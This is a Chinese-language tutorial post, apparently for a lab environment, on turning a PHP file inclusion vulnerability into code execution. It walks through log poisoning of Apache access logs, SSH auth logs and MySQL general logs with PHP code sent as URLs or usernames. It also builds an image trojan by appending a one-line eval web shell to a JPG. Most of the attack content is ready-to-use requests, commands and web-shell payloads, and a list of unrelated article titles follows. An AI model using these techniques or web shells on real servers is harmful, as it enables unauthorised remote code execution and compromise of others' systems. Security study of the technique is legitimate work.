当前位置: 首页 > news >正文

文件包含漏洞(3),日志利用, 图片木马利用

日志利用, 图片木马利用

一, 利用服务器日志

通过普通的网络请求向日志文件注入代码, 再利用文件包含漏洞执行日志中的代码段.

apache log: /opt/lampp/logs/access_log
nginx log: /usr/local/nginx/logs/access.log 

首先可以利用文件包含漏洞测试日志文件的内容是否可以显示.
实际情况下日志的路径和名称都可能被修改, 需要其他手段获取.

http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/error_log

由于日志会记录请求的url, 如果发送的url中带有恶意代码, 那么日志文件access_log就会记录, 再使用文件包含漏洞包含日志文件来执行代码.

http://192.168.112.200/security/fileinc.php<?php phpinfo(); ?>

查看access_log日志:

[25/Oct/2023:09:57:53 +0800] "GET /security/fileinc.php%3C?php%20phpinfo();%20?%3E HTTP/1.1"

这里可以看到符号被浏览器转码了, 因此无法执行代码.
那么我们绕过浏览器来发送这个请求, 例如使用 burpsuite.

方式1: 不使用双引号, 需要去掉php空格.
GET /security/fileinc.php<?phpinfo();?> HTTP/1.1

查看access_log日志:

[25/Oct/2023:10:26:31 +0800] "GET /security/fileinc.php<?phpinfo();?> HTTP/1.1" 404 1033

这里看到代码已经顺利写入了, 那么利用文件包含来执行代码:

http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
方式2: 使用双引号, 好处是可以包含更复杂的代码.
GET /security/fileinc.php"<?php eval($_POST['cmd']);?>" HTTP/1.1

查看access_log日志:

[25/Oct/2023:10:44:15 +0800] "GET /security/fileinc.php\"<?php eval($_POST['cmd']);?>\"" 400 961

利用漏洞:

http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_logpost data: 
cmd=phpinfo();

二, 利用ssh或mysql的登录日志

1. linux默认的登录日志:
/var/log/secure

日志文件对其他用户有可读权限

正常登录:

ssh root@192.168.112.200

因为ssh的登录日志中会记录发送的用户名, 那么将用户名替换成恶意代码来登录:

ssh "<?phpinfo();?>"@192.168.112.200

查看日志:

Oct 25 11:15:13 mycentos sshd[16208]: Invalid user <?phpinfo();?> from 192.168.112.1 port 14605
Oct 25 11:15:13 mycentos sshd[16208]: input_userauth_request: invalid user <?phpinfo();?> [preauth]

这里可以看到代码已经注入到日志中了, 接下来利用文件包含漏洞执行代码:

http://192.168.112.200/security/fileinc.php?filename=/var/log/secure
2. mysql的登录日志

原理与ssh日志利用一样.

mysql日志默认是关闭的. 需要mysql日志是开启状态 /opt/lampp/etc/my.cnf:

general_log=ON
general_log_file=/opt/lampp/logs/mysql.log
log_output=file

日志文件对其他用户有可读权限

假设日志的路径:

/opt/lampp/logs/mysql.log

正常登录:

mysql -u root -p -h 192.168.112.200

将用户名替换成恶意代码:

mysql -u "<?phpinfo();?>" -p -h 192.168.112.200

利用文件包含漏洞执行代码:

http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/mysql.log

3. 图片木马

准备图片和php文件, 使用cmd中的copy命令合并.

例如:
mm.php文件:

<?php @eval($_GET['cmd']); ?>

命令:

copy src.jpg/b + mm.php/a p_mm.jpg

以上命令将src.jpgmm.php合并, 生成图片p_mm.jpg

将木马图片上传到服务器, 利用文件包含漏洞执行代码:

http://192.168.112.200/security/fileinc.php?filename=image/p_mm.jpg&cmd=phpinfo();
http://www.lryc.cn/news/207580.html

相关文章:

  • java面试--线程总结
  • Angular-02:环境等说明
  • pgsql 分组查询,每组取10条
  • python,pandas ,openpyxl提取excel特定数据,合并单元格合并列,设置表格格式,设置字体颜色,
  • chatgpt论文润色 降重
  • 第四章 文件管理 七、文件共享
  • 带过期时间的localstorage封装
  • mac系统u盘启动盘制作教程,更新至macOS Sonoma 14
  • 基于单片机的智能电子鼻的设计
  • 代码随想录图论 第三天 | 130. 被围绕的区域 417. 太平洋大西洋水流问题
  • 二、【常用的几种抠图方式一】
  • 常见面试题-MySQL专栏(一)
  • 使用Docker部署Apache Superset并实现公网远程访问
  • buuctf_练[CISCN2019 华东南赛区]Web4
  • 国际腾讯云直播推流配置教程!
  • RocketMQ与Kafka差异对比:从架构到性能细节,解析两者在可靠性、扩展性和可用性等方面的优劣
  • 【数智化人物展】同方有云联合创始人兼总经理江琦:云计算,引领数智化升级的动能...
  • SpringMVC Day 03 : 处理静态资源
  • activiti 用户任务中的执行监听器
  • leetcode做题笔记200. 岛屿数量
  • HTTP 之 options预请求 nginx 解决跨域 postman调试跨域问题
  • MFC知识点
  • Spring-手写模拟Spring底层原理
  • Scala【集合常用方法和函数操作(下)】
  • JS加密/解密之那些不为人知的基础逻辑运算符
  • flinksql kafka到mysql累计指标练习
  • pdf转jpg的方法【ps和工具方法】
  • 【已解决】Qt发送信号后,槽函数没有响应
  • Kafka入门05——基础知识
  • WordPress(7)配置邮箱发送功能